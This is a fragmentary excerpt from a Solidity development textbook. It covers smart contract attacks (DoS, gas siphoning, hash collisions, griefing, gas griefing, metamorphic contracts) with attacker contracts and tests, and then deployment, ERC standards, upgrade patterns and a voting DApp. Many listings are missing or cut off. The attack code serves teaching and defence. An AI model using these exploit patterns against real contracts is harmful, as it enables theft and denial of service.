contract KingOfTheEtherTest is Test {
KingOfTheEther private king;
KingOfTheEtherAttacker private attacker;
attacker.attack{value: 2 ether}(address(king));
currentKing = king.currentKing();
assertEq(currentKing, address(attacker));
Listing 15.17 The test case first initializes the game and the attacker
contracts. The attacker takes the throne, and the test case checks whether the
DoS is successful.
Protective Measures
Defenses against DoS attacks are generally hard to build. To
completely waive interactions with external functions would
severely limit the possibilities and use cases of contracts.
Alternatively, functions could be protected via gatekeepers
to allow only the owner to execute them. However, owners
who are too powerful are often rejected by the community,
and the affected contracts are less trustworthy.
Implementing emergency functions to recover from these
attacks that can only be executed by the contract’s owner
also imposes a trust issue.
Description
The idea of the gas-siphoning attack is to harm targets like a
central crypto exchange, an operator of a contract, or even
an end user of a contract by incurring increased transaction
costs. The attacker itself didn’t benefit from this at the
beginning, but this has changed since the GasToken was
released in March 2018. The idea of GasToken is to dump
useless data in a contract when the gas price is low and
delete the useless data when the gas price is high, to
reduce gas costs via the refund received. This is made
possible by the fact that Solidity considers a refund to occur
when data is reset to a zero byte (see Chapter 14,
Section 14.1). A GasToken always represents 32 bytes of
useless data, and you can read the exact explanations and
savings calculations under https://gastoken.io/. Since the
release of GasToken, the gas-siphoning attack has become
interesting for many attackers, as they can now trick their
victims into involuntarily mining GasToken. The attacker can
then either use their GasToken to save gas costs or sell
them to other people.
Attack
To simulate the attack, you’ll first need the code of the
GasToken contract. This can be found under
https://github.com/projectchicago/gastoken in the GST1.sol
file. Alternatively, you can use the contract we’ve adapted
for version 0.8.24, which is included in the product
supplements found at https://rheinwerk-
computing.com/5800. Since the code is very long, we don’t
show it in a listing.
constructor(address _gasToken) {
gasToken = GasToken(_gasToken);
}
Description
constructor() payable {
owner = msg.sender;
}
Attack
To attack the RoyaltyRegistry contract, the attacker requires
some luck to be the first user listed in the regular array.
When the attacker recognizes their luck, they could trigger
the payout and simply put themselves at the end of the
premium array. The contract will then pay the premium
amount to the regular user.
registry.claimRewards(premiumMembers, regularMembers);
uint256 balanceAfter = REGULAR_MEMBER_1.balance;
assertEq(balanceAfter, 1 ether);
}
}
Listing 15.21 The unit test exploits the hash collision to collect premium
payouts as a regular user.
Protective Measures
In order to prevent those hash collisions, you can either use
abi.encode instead of abi.encodePacked or avoid putting two
dynamic types after each other within the packed format.
You could place a static type in between or simply use only
one dynamic type when depending on hashes of packed
formats.
15.2.8 Beware of Griefing Attacks
Another type of attack on smart contracts is the griefing
attack. In contrast to other exploits, griefing attacks don’t
directly profit the attackers. They only have a negative
impact on the business logic, the application itself, or the
operation of the smart contracts. The DoS attack explained
in Section 15.2.5 could perhaps be seen as a griefing attack
since the attacker had to pay and freeze Ether to execute
the attack, but it is not a true griefing attack because the
attacker will always be king and thus profits from this
attack. In true griefing attacks, the attackers only want to
cause harm to the victim and don’t profit themselves.
Description
A popular example is a griefing attack on contracts that
delays their functionalities for a given time interval. Let’s
take a look at Listing 15.22: the contract is a fundraiser that
allows supporters to donate Ether to the contract. After each
donation, the waiting period is extended. Thus, a griefing
attack is possible since an attacker can easily donate 1 Wei
right before the waiting period ends, and if an attacker is
motivated enough to invest the money for the transaction
fees, the original owner can’t withdraw the funds for the
duration of the attack. Always consider griefing attacks
during the development of your contracts to reduce the
number of vulnerabilities.
contract DelayedFundraiser {
address owner;
uint256 waitingPeriod;
uint256 lastDeposit = block.timestamp;
constructor(uint256 _waitingPeriod) {
owner = msg.sender;
waitingPeriod = _waitingPeriod;
}
Listing 15.22 A fundraiser contract that gathers funds. After each donation,
the waiting period is extended to gather more funds.
Stack-Depth Attacks
constructor(address _store) {
keyValueStore = SimpleKeyValueStore(_store);
}
address(keyValueStore).call(
abi.encodeWithSignature("put(bytes,uint256)", key, value)
);
}
}
Listing 15.23 The GasGriefable contract doesn’t check the return value of
the low-level function call.
Listing 15.24 A simple contract that allows you to store key-value pairs.
Attack
contract GasGriefingAttacker {
function attack(bytes memory key, uint256 value, address griefable) external {
GasGriefable(griefable).store{gas: 33097}(key, value);
}
}
Listing 15.25 The attacking contract provides the minimum amount of gas
required.
If you like, you can copy all files into Remix. Deploy the
SimpleKeyValueStore, the GasGriefable contract, and the
GasGriefingAttacker in this order. Now, you can call the attack
function and provide a key, a value, and the address of the
GasGriefable contract. If you remove the gas limit in curly
braces {gas: 33097}, everything will work correctly, and the
transaction will consume more than 120,000 gas. Now, it’s
your turn to specify a gas limit and find via trial and error
the lowest amount of gas possible until the transaction
succeeds but doesn’t store the key-value pair. At the time of
writing (spring 2024) the amount was 33097, but updates to
the EVM could change the required gas in the future. If the
transaction is successful, you can use the getter function of
the deployed SimpleKeyValueStore and try to retrieve the key
of the attack. The getter will return 0, but if you rerun the
attack, the transaction will revert with the "Duplicate key!"
error message. Thus, the key will be stored as already used
within the GasGriefable contract.
vm.expectRevert(bytes("Duplicate key!"));
gasGriefable.store(key, value);
}
}
Listing 15.26 The test case is used to test the gas-griefing attack.
The scenario will only lock one single key, but an attacker
could repeat the attack for many additional keys, and thus,
the GasGriefable contract will no longer be available for
usage since the possible keys are locked and will trigger a
revert of the transaction. Thus, the attacker can provoke a
DoS attack.
Protective Measures
Figure 15.1 The output of the Slither static analysis framework when run on
the contract reentrancy from Section 15.2.4.
Now, you can simply run Slither via slither . or via slither
<path_to_contract>. We’ve tested Slither on the Reentrancy
contract and gotten the output shown in Figure 15.1. As you
can see, the reentrancy is detected by Slither and marked
as read. There are also some additional hints about the
defined Solidity version, the use of low-level calls, and the
Solidity naming conventions.
Now that you can develop, test, and secure your contracts,
you’ll take care of the deployment of your contracts in the
next chapter. We’ll show you which tools you can use to
automate the deployment and how you can manage your
contracts in production. In addition, we’ll explain how to
verify and publish the contracts on Etherscan to increase
the user’s trust.
16 Deploying and Managing
Smart Contracts
What Is a Seed?
Figure 16.4 Remix provides a feature to record transactions and repeat all
recorded transactions on another network.
16.3 Deploying Contracts with
Foundry
Before we can deploy a contract with Foundry, we’ll need an
RPC provider where we can send the deploying transaction.
In Remix, the provider was injected by MetaMask, but since
our framework is used outside the browser, we can’t use the
MetaMask extension in this scenario. You have a choice
between running your own node (Section 16.6) and using an
external provider. Popular external providers are Infura
(https://www.infura.io) and QuickNode
(https://www.quicknode.com). In the field of decentralized
finance (DeFi), other optimized providers like Bloxroute
(https://bloxroute.com/) are also interesting. All providers
offer a free account for development purposes, so you
should create an Infura account for the following examples.
After the logon, navigate to the Dashboard, where you can
see your application programming interface (API) keys, and
then create a new API key. Now, you can select the key in
your list and configure the endpoints you want to enable.
First, you must configure the endpoints that you want to use
for your API key. Figure 16.5 shows parts of the endpoint
configuration. You must at least activate the Sepolia testnet
to use your API key.
At the top of the page, you can see the API key. Don’t share
your API keys with other people or else they will be able to
use your account to execute their transactions.
Now, you can switch to the Active Endpoints tab and see
your endpoints based on your API key shown in Figure 16.6.
These endpoints are the RPC URLs you can use in the
configuration of Foundry or during Foundry commands. On
the Settings tab, you can also specify to require JSON Web
Token (JWT) secrets when your API key is used.
[rpc_endpoints]
mainnet = "https://mainnet.infura.io/v3/cfefxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
sepolia = "https://sepolia.infura.io/v3/cfefxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
Listing 16.1 The foundry.toml configuration file allows you to specify RPC
endpoints.
To execute the script in Listing 16.3, you can use the npx
hardhat ignition deploy ./ignition/modules/KeyValueStore.js
command to test your deployment script. Hardhat Ignition
will then deploy your contract on an in-progress instance of
Hardhat Network. The contracts can’t be used after the
script execution because the in-progress instance will be
terminated, but it’s still the easiest way to test the
deployment script itself. Please note that the in-progress
instance will only be used if no default network is specified
in the Hardhat configuration file.
Now, let’s add the Sepolia testnet to the hardhat.config.js
configuration file. Listing 16.4 shows an example network
configuration, and you can also specify the default network
that will be used if no parameter is provided. In this case we
configured the network localhost as default. Keep in mind
from now on to always start a local Hardhat node via npx
hardhat node if you’re testing your deployment script. Take
the configuration shown in Listing 16.4 and then add your
Infura API key and your private key. You can add multiple
private keys or only one.
require("@nomicfoundation/hardhat-toolbox");
module.exports = {
solidity: "0.8.25",
defaultNetwork: "localhost",
networks: {
localhost: {
url: "http://127.0.0.1:8545"
},
sepolia: {
url: "https://sepolia.infura.io/v3/API_KEY",
accounts: [PRIVATE_KEY1, PRIVATE_KEY2, ...]
}
},
};
To run the deployment against Sepolia, you can use the npx
hardhat ignition deploy
./ignition/modules/KeyValueStoreModule.js --network sepolia
command. Ignition will ask you to confirm the deployment
to the Sepolia network, which you can confirm via pressing
(Y). Afterward, you’ll see the output shown in Figure 16.8,
and because of the return statement in your deployment
script, you’ll get the address of the newly deployed contract.
module.exports = {
solidity: "0.8.26",
defaultNetwork: "localhost",
networks: {
localhost: {
url: "http://127.0.0.1:8545"
},
sepolia: {
url: `https://sepolia.infura.io/v3/${INFURA_API_KEY}`,
accounts: [TEST_PK]
}
},
};
main().catch((error) => {
console.error(error);
process.exitCode = 1;
})
Listing 16.7 A Hardhat script to initialize the KeyValueStore with some key-
value pairs.
Now that your script is prepared, you can run it via the npx
hardhat run scripts/initializeKeyValueStore.js --network sepolia
command. Since we didn’t implement any outputs, the
script will terminate without any output. Feel free to extend
the script. If you want to verify whether the values have
been set, you can implement another script or simply load
your contract in the Remix IDE and interact with the
contract to read the values.
16.5 Publishing and Verifying Code
on Etherscan
If you’ve deployed your contracts on the mainnet or on the
Sepolia testnet, any user can see the transaction via a
public block explorer. For Ethereum, Etherscan is the default
explorer. You can find it at https://etherscan.io. For the
Sepolia testnet, you need to use https://sepolia.etherscan.io.
For users to trust your contract, you need to make the code
publicly available. However, a public repository on GitHub,
for example, is not enough for most users, as they can’t be
sure that the published source code in the repository has
really been deployed to the given address. Etherscan offers
you the possibility of verifying and publishing the source
code of deployed smart contracts, and if you navigate to the
address of a contract on Etherscan and switch to the
Contract tab, you’ll see an overview like the one shown in
Figure 16.9.
Figure 16.9 If Etherscan does not know the bytecode of a contract, it asks if
you’re the creator and can verify and publish the source code.
Click the Verify and Publish link to upload your source
code and have it verified. Once the verification is successful,
the code is stored on Etherscan and users can view it.
Figure 16.10 shows the first step of the verification process.
Specify all information according to your contract and click
the Next button.
Figure 16.10 The first step of Verify & Publish asks for the number of files,
the compiler version, and the license.
Figure 16.11 The second step of Verify & Publish requires the source code,
advanced configuration details, and constructor arguments.
Etherscan will now compile your source code and verify the
resulting bytecode against the deployed bytecode. If
everything is successful, you can provide a name tag and
label for your contract. You can also provide a URL to your
project if you want to.
If you don’t want to use the manual procedure, you can use
Foundry to verify the contract automatically. If your contract
is already deployed and you want to verify it, you can use
the command shown in Listing 16.8. To create an Etherscan
API key, you need to create a free account. The --watch flag
tells forge to wait for a response and print the verification
status.
forge verify-contract CONTRACT_ADDRESS \
CONTRACT_NAME
--etherscan-api-key YOUR_ETHERSCAN_API_KEY \
--watch
Listing 16.8 The forge command to verify a deployed contract via Etherscan.
Listing 16.9 Verifying a new contract immediately after its deployment via
forge create or forge script.
Now, let’s run a Geth node for the Sepolia testnet. Since we
want to use it with Remix and our Foundry projects, we’ll
need to activate the RPC API with the --http flag. For Remix,
you’ll also need to allow the Remix domain with --
http.corsdomain. To enable the communication between Geth
and Prysm, we also need to provide the --http.api
parameter. Both clients need to use the previously
generated JWT secret, and thus, we need to specify the --
authrpc.jwtsecret parameter. Start Geth with the command
shown in Listing 16.11.
geth --sepolia \
--syncmode snap --http \
--http.corsdomain="https://remix.ethereum.org" \
--http.api eth,net,engine,admin \
--authrpc.jwtsecret=PATH_TO_YOUR_JWT.
Listing 16.11 Command to start a Geth node for the Sepolia testnet.
17.1.1 Motivations
The idea behind the ownership standard was that many
contracts need to be managed to some extent. This
includes, for example, balance management. Not everyone
should be able to withdraw the balance of contracts, but
ideally, only the owner should be able to do so. The same
applies to administrative tasks in contracts. The
management of ownership should be standardized so that
it’s possible to implement contracts that manage other
contracts. A few examples of applications of this standard
are as follows:
Exchanges that offer contracts to buy or sell need the
ability to transfer the owner of contracts.
Contract wallets that own contracts want to transfer the
ownership of contracts to other wallets or owners.
Contract directories need a standard that allows them to
decide whether the contract is registered by its owner.
17.1.2 Specifications
The standard specifies the interface shown in Listing 17.1.
The interface includes the OwnershipTransferred event, which
is supposed to be emitted when the owner of the contract is
changed. In addition, the interface has the owner function,
which can be implemented with either the view or the pure
modifier, depending on the specific implementation. The
owner function is supposed to return the address of the
current owner. In addition, the transferOwnership function is
defined, and it can be used to transfer the contract to a new
owner.
interface ERC173 {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function owner() view external returns(address);
function transferOwnership(address _newOwner) external;
}
Listing 17.1 The Ownable interface defines an event and two functions.
17.1.3 Implementations
Listing 17.2 shows a minimal implementation of the ERC-
173 interface. As you can see, the owner function is missing,
but since the owner state variable is defined as public, the
owner function is generated during compilation. Since version
0.5.0, a distinction has also been made between address and
address payable, so if you want to use the ownable standard
to withdraw funds to the owner, it must be stored as an
address payable. The owner function should also return a
variable of the address payable type. Alternatively, you need
to convert the address to address payable when withdrawing
funds.
contract Ownable is ERC173{
address public owner;
constructor() {
owner = msg.sender;
}
17.2.1 Motivations
It’s useful to check whether some standardized interfaces
are supported by a particular contract. In addition,
determining the supported version can help the calling
contract adjust the required parameters for function calls
accordingly. The ERC-165 standard proposes a method for
standardizing the identification and naming of interfaces.
17.2.2 Specifications
The specifications of the ERC-165 standard define an
interface as a set of function selectors of the Ethereum
application binary interface (ABI). This set represents a
subset of the possibilities of Solidity, but in most cases, it
should be sufficient to uniquely identify an interface. The
unique identifier is calculated via a binary exclusive or
(XOR) of all function selectors of the functions in the
interface. Listing 17.3 shows an example of how the
identifier can be calculated. An identifier must not be
0xffffffff to comply with the ERC-165 standard since
0xffffffffis reserved for the internal algorithm, which we’ll
explain shortly.
interface Solidity101 {
function hello() external pure;
function world(int) external pure;
}
contract Selector {
function calculateSelector() public pure returns (bytes4) {
Solidity101 i;
return i.hello.selector ^ i.world.selector;
}
}
Listing 17.3 The .selector member can be used to retrieve the function
selector of a public or external function.
Listing 17.4 The ERC-165 interface requires only one function to check
whether a particular interface is supported.
17.2.3 Implementations
Listing 17.5 shows an abstract contract that implements the
ERC-165 interface. The identifiers of all supported interfaces
can be managed in a mapping, and the constructor prepares
this mapping. Note, however, that the 0xffffffff identifier
must not be included in the mapping; otherwise, the ERC-
165 standard won’t be implemented correctly.
abstract contract ERC165MappingImplementation is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor() {
supportedInterfaces[this.supportsInterface.selector] = true;
}
Listing 17.5 The ERC-165 standard can also be implemented via a mapping
that includes all identifiers.
constructor() {
initSupportedInterfaces();
}
17.3.1 Motivations
The goal of the ERC-20 standard is to allow tokens on the
Ethereum platform to be shared with other applications.
Wallets and decentralized exchanges are listed as examples,
but block explorers can also benefit from the introduction of
standards. Since all ERC-20 tokens offer functions of the
same interface, a block explorer can view the balance of
any ERC-20 tokens of an account if it knows the address of
the ERC-20 token contract. The Etherscan block explorer
and the MyEtherWallet wallet, for example, even offer the
option of manually entering addresses of ERC-20 token
contracts if they are not yet generally known. Users can
thus view their balances and even transfer these tokens to
their own wallets.
17.3.2 Specifications
The specifications don’t provide an interface for this
standard, as interfaces were not yet supported in Solidity at
the end of 2015. Instead, the individual functions are listed
and explained. We’ve merged all functions in an interface
and will explain them in the following code examples.
Listing 17.10 The ERC-20 Token Standard’s functions for transferring tokens.
17.3.3 Implementations
The standard recommends the use of ERC-20 tokens that
have already been implemented. Reference is made to the
implementation of OpenZeppelin at
https://github.com/OpenZeppelin/openzeppelin-
solidity/blob/master/contracts/token/ERC20/ERC20.sol. We
also recommend that you use contracts that have already
been implemented and adapt them for your own project.
17.4.1 Motivations
The ERC-20 standard allows for easy implementation of your
own tokens, but it doesn’t protect against tokens being
accidentally sent to other contracts. If this happens, the
tokens are lost because the recipient contract doesn’t know
how to deal with the ERC-20 tokens involved. As a result,
some tokens have been frozen forever in contracts. Calling
the selfdestruct function also can’t recover the tokens
because the recipient contract doesn’t know that it owns the
tokens.
17.4.2 Specifications
The basic principle is that, analogous to transferring Ether,
optional data can always be attached. This data should help
contracts, for example, to deal with the tokens received.
The standard also defines two interfaces: ERC777TokensSender
and ERC777TokensRecipient. Listing 17.12 shows the interface
to announce a token transfer. Any owner of ERC-777 tokens
can register a contract that implements the
ERC777TokensSender interface and will be notified as soon as a
token transfer occurs.
interface ERC777TokensSender {
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes data,
bytes operatorData
)
public;
}
Listing 17.12 The interface for announcing a token transfer in the ERC-777
standard.
Listing 17.13 The interface defined in the ERC-777 standard for notifying a
recipient of tokens.
17.4.3 Implementations
The standard recommends the contract of the user 0xjac as
reference implementation, which can be found at
https://github.com/0xjac/ERC777. The same repository also
contains all relevant test cases, but the reference
implementation is based on Solidity version 0.4.21, which is
a bit outdated. Thus, you should definitely update the
implementation before usage.
17.5.1 Motivations
A standard for assets or NFTs allows wallets, brokers, and
auctions to interact with any NFT on the Ethereum platform
without the need to implement individual interfaces for each
NFT. The ERC-721 standard was inspired by the ERC-20
standard, but ERC-20 is unsuitable for NFTs because each
ERC-20 token is identical to the rest of its tokens. Therefore,
a separate standard had to be developed that enables
unique tokens. By default, all contracts that interact with
NFTs are referred to as operators.
17.5.2 Specifications
The specification for ERC-721 is very extensive, as many
functions and optional interfaces had to be defined. In
addition, the ERC-165 standard must be implemented for
the ERC-721 standard.
Listing 17.16 The features for setting up power of attorney for individual
assets.
Listing 17.18 The ERC-721 JSON schema metadata includes the name,
description, and URL of an image.
Listing 17.19 This interface allows you to publish a list of all tokens.
A contract that is an operator for NFTs must use the
ERC721TokenReceiver interface shown in Listing 17.20. The
onERC721Received function only needs to return the result of
the calculation of the
abi.encodeWithSignature("onERC721Received(address,address,
uint256,bytes)")) function selector in the receiver contract.
Of course, the function should include everything else that
the contract needs to respond to the transfer. For example,
it can update a state variable or trigger an event, and with
this, the contract confirms that it can use the assets. The
function selector corresponds to 0x150b7a02. Of course, you
should also have implemented appropriate functions so that
the contract can handle the assets.
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes memory _data
)
external
returns(bytes4);
}
17.5.3 Implementations
There are quite a few example implementations. The
standard refers to examples that are already in production,
such as CryptoKitties, and also to additional test examples
to demonstrate scalability. OpenZeppelin also offers an
implementation of the standard at
https://github.com/OpenZeppelin/openzeppelin-
solidity/tree/master/contracts/token/ERC721. We won’t
present you with a full implementation here, but we’ll go
over important aspects of the implementation.
17.6.1 Motivations
The Multi-Token Standard can represent any number of
tokens. It doesn’t matter whether the tokens are fungible or
non-fungible. The standard aims at being backward
compatible with ERC-20 and ERC-721. Each token can be
configured separately but is available at the same address.
Each token type requires its own unique ID to allow the
mapping to which each of the different tokens should be
addressed via a function call.
Figure 17.1 The structure of the PubSub pattern as a UML class diagram.
Listing 17.21 The Subscriber interface has the notify function to notify the
subscribers.
Listing 17.22 The Publisher contract manages the subscribers separately for
each event. Depending on the event, the corresponding subscribers will be
notified.
constructor(address _publisher) {
status = 0;
publisher = Publisher(_publisher);
}
Listing 18.1 shows the configuration for a JSON RPC call that
retrieves all Transfer events. You simply provide the block
number of the deployment of your ExampleToken and the block
number right before the compromise happened. You also
must specify the address of your ExampleToken. The topic
shown in Listing 18.1 is the default topic for Transfer events
in the ERC-20 specification. You can then send this JSON RPC
request to your node or your node provider, for example, via
curl.
{
"jsonrpc": "2.0",
"id": 0,
"method": "eth_getLogs",
"params": [
{
"fromBlock": "BLOCK_OF_CONTRACT_DEPLOYMENT",
"toBlock": "BLOCK_BEFORE_COMPROMISE",
"address": "CONTRACT_ADDRESS",
"topics": [
"0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef"
]
}
]
}
Listing 18.1 JSON RPC call to get the events of a contract for a given topic.
With all the Transfer events, you can simply calculate all
balances off-chain to recover the required data.
Due to the block gas limit, you can’t initialize all balances in
one go. If you’re initializing 200 accounts at once, you’ll
need about 4.9 million gas with the function shown in
Listing 18.2. Let’s assume an average gas price of 20 Gwei,
so initializing 200 accounts would require 0.098 ETH. At the
time of writing, 0.098 ETH are worth around $350. On
https://etherscan.io/tokens?sort=holders&order=desc, you
can see the ERC-20 tokens with the most token owners:
USDT has 5.5 million token owners. Since you must pay
$350 per 200 owners, you would need about $9.625 million
to initialize all balances.
function batchTransfer(address[] tokenOwners, uint256[] values)
duringInitialization
onlyOwner
external {
for(uint256 i=0; i < tokenOwners.length; i++){
balances[tokenOwners[i]] = values[i];
emit Transfer(0x0, tokenOwners[i], values[i]);
}
}
Even though the costs for migrations are very high on the
Ethereum mainnet, this mechanism can be useful in
private networks. Since the participants in private
networks could decide to provide private Ether for free (or
for lower prices than the official Ether), the costs in
private networks can be significantly lower, and thus, this
mechanism can be useful to know.
18.3 Separation of Data and
Business Logic
In the previous section, you saw that transferring all data
from a predecessor contract to an upgraded contract can be
very expensive. Moreover, the block gas limit can be
exhausted very quickly, and storing the same data multiple
times on the blockchain is not very economical. So, why not
just reuse the old data? Data separation aims to separate
the data from the logic of the contract, and to accomplish
this, you need to implement a contract to store the data and
one to use the data. Data separation distinguishes between
general stores and logic-specific stores. In both cases, the
stores are not allowed to access the logic contract; only the
logic contract is allowed to access the stores.
Let’s focus on the general store first and implement a store
for key-value pairs. Listing 18.3 shows a minimal example of
how to store uint values. For this section, you also need
functions to store string values. We’ve named our contract
MyValues.
mapping(bytes32 => uint) private uintValues;
Since we’re using keys of the bytes32 type for our key-value
store, you’ll need a function to calculate a key. You can see
such a function in Listing 18.4. The keccak256 function can
only take a single parameter, but you can use the
abi.encodePacked function to pack multiple parameters into
one if your keys need to be calculated from more than one
value.
function getKey(string name, uint id) internal pure returns(bytes32) {
return keccak256(abi.encodePacked(name, id));
}
Listing 18.5 Excerpt from the TodoLibrary, which can return the total number
of to-dos or a single to-do.
Listing 18.6 The function saves a new to-do and increases the to-do counter
as well as the counter of open to-dos.
constructor(address myValues) {
_myValues = myValues;
}
Listing 18.8 The function loads a to-do from the key-value store and returns
it.
Now, both the key-value store and your to-do list are
deployed, and you can interact with your to-do list
immediately. Use the addTodo function to create a few to-dos,
and to access the individual to-dos, you need to upgrade
your contract first. Deploy the UpgradedTodoList contract in
the same way as you deployed the TodoList contract.
Test the upgraded to-do list and use the getTodo function of
the UpgradedTodoList contract to query individual to-dos. You
should have an output like the one in Figure 18.2 and still be
able to access the to-dos you created with the old contract.
If you want, you can now implement another upgrade to
complete to-dos, setting the done Boolean to true.
Figure 18.1 To pass the address of the MyValues contract to the constructor,
simply copy the address of the deployed contract in Remix.
Figure 18.2 The upgraded to-do list can access the old to-dos, thanks to the
data separation.
Now, you’re wondering why proxy and logic need the same
storage layout. If this were not the case, the logic contract
could overwrite important information of the proxy and the
data would no longer be available in the proxy. As a result,
the proxy would become either partially or completely
nonfunctional. For both contracts to have the same storage
structure, you must first implement a contract that defines
the layout of the storage. After that, the proxy and logic can
inherit from this contract and therefore have the same
storage structure.
Listing 18.9 The contract defines the shared structure of the storage.
constructor() {
setProxyOwner(msg.sender);
}
fallback() external {
address addr = logic();
require(addr != address(0), "should not be 0x0");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), addr, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
Listing 18.10 The proxy needs a fallback function to forward the calls, and
the function forwards all calls via delegatecall.
Listing 18.12 The first version of your to-do list supports adding to-dos.
Listing 18.13 The new version of the to-do list can also read to-dos.
So, how can we remove the last dynamic part from the
bytecode? We can simply specify a contract that provides a
getTemplate function to return the address that the bytecode
should copy via extcodecopy. The bytecode will then always
be the same, but it will also copy a different contract every
time. Therefore, the address calculation of the contract will
result in the same address, but a different bytecode will be
deployed at this address. There is only one missing piece:
bytecode can only be deployed to an address without
bytecode. Thus, the previous contract must be destroyed
via selfdestruct before a new bytecode can be stored at this
address.
This exploit was often used by arbitrage bots to keep all
token balances at the same address and upgrade arbitrage
strategies. However, it can also be used to harm users since
a safe contract can be changed to a malicious contract. This
is why users should always check whether a contract can
selfdestruct itself and was deployed via a factory contract
and the create2 opcode. However, since the Cancun update,
this exploit is no longer possible. The functionality of
selfdestruct was changed to no longer delete the bytecode
of a contract and only transfer all Ether to the specified
address. In future updates, selfdestruct will be completely
removed, not only due to this exploit. Nevertheless,
metamorphic contracts haven’t always been used with
malicious intent, but due to the high risks and the violation
of immutability, they had to be removed.
Listing 18.17 The library that contains the utility function for the
metamorphic exploit.
Since this unit test will be more complex and will use many
cheatcodes of Foundry (see Chapter 13, Section 13.2.2),
we’ve implemented it ourselves and will explain it in detail.
First, take a look at Listing 18.19. Since we need the
bytecode of both dummy contracts, we can use some
cheatcodes to automate this procedure. (Of course, you
could also copy the bytecode manually, but this is very
annoying during development.) At the beginning of the test
contract, we specify the file paths of both dummy contracts,
and we also specify the JSON path required to read the
bytecode from the output file of the compiler. Within the
setup function, we use the vm.readFile cheatcode to read the
JSON file as a string into memory. Afterward, we can use the
vm.parseJsonBytes cheatcode to extract the compiled
bytecode.
Now, we can call the deploy function of our MetamorphicFactory
and pass a salt and the bytecode as parameters. To check
the deployment, simply call the getX function and assert that
it returns the value 20. Afterward, we’ll call the destroy
function of our dummy contract to use selfdestruct and
remove the bytecode from the address. Since the setUp
function represents one transaction in Foundry and each
test case also represents a transaction, the contract is
destroyed after setUp returns.
contract MetamorphicTest is Test {
string private constant BYTECODE_JSON_PATH = ".bytecode.object";
string private constant DUMMY_V1 = "out/DummyV1.sol/DummyV1.json";
string private constant DUMMY_V2 = "out/DummyV2.sol/DummyV2.json";
Listing 18.19 Unit test implemented with Foundry to test the metamorphic
exploit.
Within the test case, simply deploy the bytecode of the
second dummy contract with the same salt. Afterward, load
the first dummy contract at its address and call the getX
function. Even if the first dummy contract was destroyed,
the function returns the value 10 as expected, due to the
metamorphic upgrade. Imagine what harm can be done with
this exploit.
Once your DApp passes all tests, it’s time to conduct some
security audits. We recommend contacting external Solidity
experts and auditors to run a thorough audit. Of course, you
can use static analysis tools like Slither yourself, but getting
your DApp audited increases trust among your users. Thus,
you should always weigh the costs of running an audit
against the benefits. Especially if your DApp manages user
funds, a thorough audit is highly recommended. You’ve
already learned in Chapter 15 how much financial damage
was done in the past due to vulnerabilities, so you should fix
all issues uncovered during the audit and repeat the
development process accordingly. Many auditors offer to
review your fixes without additional costs.
Let’s create a new folder for your first DApp and initialize
Foundry with the forge init command. We’ll use the Ownable
contract from the OpenZeppelin public contract library (see
Chapter 17, Section 17.6). Let’s install the library via the
forge install openzeppelin/openzeppelin-contracts command.
Now, your project is successfully initialized and prepared.
Foundry automatically creates a Git repository in your
project folder and generates a .gitignore file. You can use
the repository to commit and track your changes.
Listing 19.1 The struct ballot as well as the required state variables of the
Vote contract.
Listing 19.2 The constructor of the Vote contract allows you to specify the
proposal, the deadline, and eligible voters.
To participate in the vote, a voter simply needs to submit
their approval or disagreement. Let’s implement a
submitBallot function, which first checks whether the vote is
still active and ensures that the voter has not yet voted. Of
course, you should also check whether the sender of the
transaction is an eligible voter before you accept their
ballot. Since the voted parameter in the Ballot struct is a
Boolean, it’s not enough to check whether the msg.sender has
already voted. If a msg.sender is not part of the eligible
voters, it will still result in the voted == false parameter since
Solidity can’t distinguish between the default value of a
data type and undefined. Thus, you must check the weight
parameter of the Ballot struct. If a voter is not eligible,
weight will be equal to zero since it has not been initialized in
the constructor. Listing 19.3 shows the implementation. We
also updated the counters in favor of and against the
proposal.
function submitBallot(bool _vote) public returns(bool) {
require(endtime > block.timestamp, "vote closed");
require(ballotByAddress[msg.sender].voted == false, "has already voted");
uint256 weight = ballotByAddress[msg.sender].weight;
require(weight > 0, "voter has to have voting rights");
ballotByAddress[msg.sender].voted = true;
ballotByAddress[msg.sender].vote = _vote;
if(_vote == true) {
votesInFavor = votesInFavor.add(weight);
} else {
votesAgainst = votesAgainst.add(weight);
}
return true;
}
Listing 19.3 In our simple voting DApp, a user can only agree or disagree in
their ballot.
If you want to add more voters after the initialization, you
need an addVoter function that expects the address of a
voter. To prevent unauthorized access, you should use the
onlyOwner modifier implemented in the Ownable contract. The
modifier is inherited and can be used directly. To prevent
voters from being accidentally added after the vote has
ended, you should also use the activeVote modifier.
Listing 19.4 shows an example implementation of addVoter.
function addVoter(address voter) public onlyOwner activeVote {
ballotByAddress[voter] = Ballot(1, false, false);
voters.push(voter);
}
Listing 19.5 The result of the vote is determined by the votes in favor,
against, and abstentions.
Listing 19.6 The VoteScript deploys a single Vote contract based on the
given parameters.
Hardcoded Values for Deployment
Listing 19.8 This minimal example connects the frontend to a blockchain via
MetaMask.
Listing 19.11 The updated connect function reads data from the Vote
contract.
After the change, you can build your DApp via npm run build.
The output of build will be in the dist folder for Vue.js
projects or in the build folder for React projects. Now, you
must test whether your DApp is still working as expected.
You can run the npm run preview command for this purpose. If
everything works as expected, you can publish your build
